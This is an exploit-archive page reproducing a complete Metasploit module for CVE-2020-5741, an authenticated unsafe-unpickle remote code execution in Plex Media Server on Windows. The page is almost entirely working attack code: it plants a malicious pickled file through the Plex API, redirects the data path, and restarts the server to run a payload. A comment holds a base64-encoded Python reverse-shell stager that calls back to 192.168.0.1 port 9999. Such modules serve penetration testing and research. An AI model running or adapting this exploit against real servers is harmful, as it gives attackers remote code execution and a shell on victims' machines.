Advertisement






Plex Unpickle Dict Windows Remote Code Execution

CVE Category Price Severity
CVE-2020-5741 CWE-502 $25,000 High
Author Risk Exploitation Type Date
Chris Lyne Critical Remote 2020-07-18
CPE
cpe:cpe:/o:microsoft:windows
CVSS EPSS EPSSP
CVSS:7.8/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020070095

Below is a copy:

Plex Unpickle Dict Windows Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Plex Unpickle Dict Windows RCE',
        'Description' => %q{
          This module exploits an authenticated Python unsafe pickle.load of a Dict file.  An authenticated attacker
          can create a photo library and add arbitrary files to it.  After setting the Windows only Plex variable
          LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes
          an RCE as the user who started Plex.
          Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab
          the X-Plex-Token header.  See info -d for additional details.
          If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required
          as subsuquent writes will make Dict-1, and not execute.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Chris Lyne' # discovery, POC
          ],
        'References' =>
          [
            ['URL', 'https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py'],
            ['URL', 'https://www.tenable.com/security/research/tra-2020-32'],
            ['URL', 'http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/'],
            ['URL', 'https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819'],
            ['CVE', '2020-5741']
          ],
        'Platform' => ['python'],
        'Privileged' => false,
        'Arch' => [ARCH_PYTHON],
        'DefaultOptions' => {
          'PAYLOAD' => 'python/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS], # we reboot the server twice
          'Reliability' => [REPEATABLE_SESSION, CONFIG_CHANGES], # we attempt to revert config changes
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        },
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' => 'May 7 2020',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(32400),
        OptString.new('PLEX_TOKEN', [true, 'Admin Authenticated X-Plex-Token', '']),
        OptString.new('LIBRARY_PATH', [true, 'Path to write picture library to', 'C:\\Users\\Public']),
        OptString.new('ALBUM_NAME', [true, 'Name of Album', '']),
        OptInt.new('REBOOT_SLEEP', [true, 'Time to wait for Plex to restart', 15])
      ]
    )
  end

  def album_name
    if @album_name.nil?
      @album_name = datastore['ALBUM_NAME'].blank? ? rand_text_alphanumeric(6) : datastore['ALBUM_NAME']
    end
    @album_name
  end

  def create_photo_library
    print_status('Adding new photo library')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/library/sections',
      'headers' =>
        {
          'X-Plex-Token' => datastore['PLEX_TOKEN'],
          'Accept' => 'application/json'
        },
      'vars_get' =>
        {
          'name' => album_name,
          'language' => 'en',
          'agent' => 'com.plexapp.agents.none',
          'location' => datastore['LIBRARY_PATH'],
          'type' => 'photo',
          'scanner' => 'Plex Photo Scanner'
        }
    )
    # response:
    # {"MediaContainer":{"size":1,"Directory":[{"art":"/:/resources/photo-fanart.jpg","composite":"/library/sections/-1/composite/1592441414","thumb":"/:/resources/photo.png","key":"7","type":"photo","title":"EvilLib2","agent":"com.plexapp.agents.none","scanner":"Plex Photo Scanner","language":"en","uuid":"95d3810f-8be0-497c-b6d4-170050f7ab30","updatedAt":1592441414,"createdAt":1592441414,"enableAutoPhotoTags":false,"content":true,"directory":true,"contentChangedAt":5135637678740750690,"Location":[{"id":7,"path":"C:\\Users\\Public"}]}]}}
    # we need to pull ['MediaContainer']['Directory'][0]['key']
    if res && res.code == 201 # 201 == Created
      return res.get_json_document['MediaContainer']['Directory'][0]['key']
    end

    nil
  end

  def add_pickle(location)
    print_status('Adding pickled Dict to library')
    # This is the pickle code, generated on windows to ensure no cross platform
    # issues were encountered
    #######
    # python (2.7 ships with Plex)
    #######
    # import pickle
    #
    # class EP(object):
    #    def __init__(self):
    #        pass
    #    def __reduce__(self):
    #        # for generating an approximately correct size and content, we use
    #        # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
    #        # that payload is then added after runsource.
    #        # The original pre-meterp return would be
    #        # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
    #        return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))
    #
    # e = EP()
    # pickle.dumps(e)

    # The output from that command will look similar to the following:
    # 'c__builtin__\neval\np0\n(S\'__import__(\\\'code\\\').InteractiveInterpreter().runsource("exec(__import__(\\\'base64\\\').b64decode(__import__(\\\'codecs\\\').getencoder(\\\'utf-8\\\')(\\\'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==\\\')[0]))", \\\'<input>\\\', \\\'exec\\\')\'\np1\ntp2\nRp3\n.'

    p = %|c__builtin__\neval\np0\n(S\'|
    p << %|__import__('code').InteractiveInterpreter().runsource("#{payload.encoded}", '<input>', 'exec')|.gsub("'", "\\\\'")
    p << %(\'\np1\ntp2\nRp3\n.) # rubocop changed the | to ( which to not match the last 2 lines...
    filename = "#{album_name}/Plex Media Server/Plug-in Support/Data/com.plexapp.system/"

    u = "type=13&sectionID=3&locationID=#{location}&createdAt=1171387901&filename=#{URI.encode_www_form_component(filename)}"
    # using raw here because the encodings for the filename got really wacky when using CGI
    res = send_request_raw(
      'method' => 'POST',
      'uri' => "/library/metadata?#{u}Dict",
      'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] },
      'ctype' => 'application/octet-stream',
      'data' => p
    )
    if res && res.code == 401
      fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file.  Plex server may not be registered to an account or you lack permission.')
      delete_photo_library(location)
      return false
    end
    # Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable
    # register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict")

    if res && res.code == 401
      fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file.  Plex server may not be registered to an account or you lack permission.')
      delete_photo_library(location)
      return false
    end
    true
  end

  def change_apppath(path)
    print_status('Changing AppPath')
    send_request_cgi(
      'method' => 'PUT',
      'uri' => '/:/prefs',
      'vars_get' =>
        {
          'X-Plex-Token' => datastore['PLEX_TOKEN'],
          'LocalAppDataPath' => path
        }
    )
  end

  def restart_plex
    print_status('Restarting Plex')
    send_request_cgi(
      'method' => 'GET',
      'uri' => '/:/plugins/com.plexapp.system/restart',
      'vars_get' =>
        {
          'X-Plex-Token' => datastore['PLEX_TOKEN']
        }
    )
  end

  def delete_photo_library(library)
    print_status('Deleting Photo Library')
    send_request_cgi(
      'method' => 'DELETE',
      'uri' => "/library/sections/#{library}",
      'vars_get' =>
        {
          'X-Plex-Token' => datastore['PLEX_TOKEN']
        }
    )
  end

  def ret_server_info
    print_status('Gathering Plex Config')
    res = send_request_cgi(
      'uri' => '/',
      'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] }
    )
    unless res && res.code == 200
      return nil
    end

    return Hash.from_xml(res.body)
  end

  def check
    server = ret_server_info
    if server.nil?
      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
    end

    store_loot('plex.json', 'application/json', datastore['RHOST'], server.to_s, 'plex.json', 'Plex Server Configuration')

    report_host({
      host: datastore['RHOST'],
      os_name: server['MediaContainer']['platform'],
      os_flavor: server['MediaContainer']['platformVersion']
    })
    print_status("Server Name: #{server['MediaContainer']['friendlyName']}")
    unless server['MediaContainer']['platform'] == 'Windows'
      print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
      return CheckCode::Safe('Only Windows OS is exploitable')
    end
    print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
    v = Gem::Version.new(server['MediaContainer']['version'])
    if v >= Gem::Version.new('1.19.3')
      print_bad("Server Version: #{v}")
      return CheckCode::Safe('Only < 1.19.3 is exploitable')
    end
    print_good("Server Version: #{server['MediaContainer']['version']}")
    unless server['MediaContainer']['allowCameraUpload']
      print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
      return CheckCode::Safe('Camera Upload not enabled')
    end
    print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
    CheckCode::Vulnerable
  end

  def exploit
    if datastore['PLEX_TOKEN'].blank?
      fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.')
    end

    unless check == CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Server not vulnerable')
    end

    print_status("Using album name: #{album_name}")
    id = create_photo_library
    if id.nil?
      fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem')
    end
    print_good("Created Photo Library: #{id}")
    success = add_pickle(id)
    unless success
      fail_with(Failure::UnexpectedReply, 'Unable to upload files to library')
    end
    change_apppath("#{datastore['LIBRARY_PATH']}\\#{album_name}")
    restart_plex
    print_status("Sleeping #{datastore['REBOOT_SLEEP']} seconds for server restart")
    Rex.sleep(datastore['REBOOT_SLEEP'])
    print_status('Cleanup Phase: Reverting changes from exploitation')
    change_apppath('')
    restart_plex
    delete_photo_library(id)
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum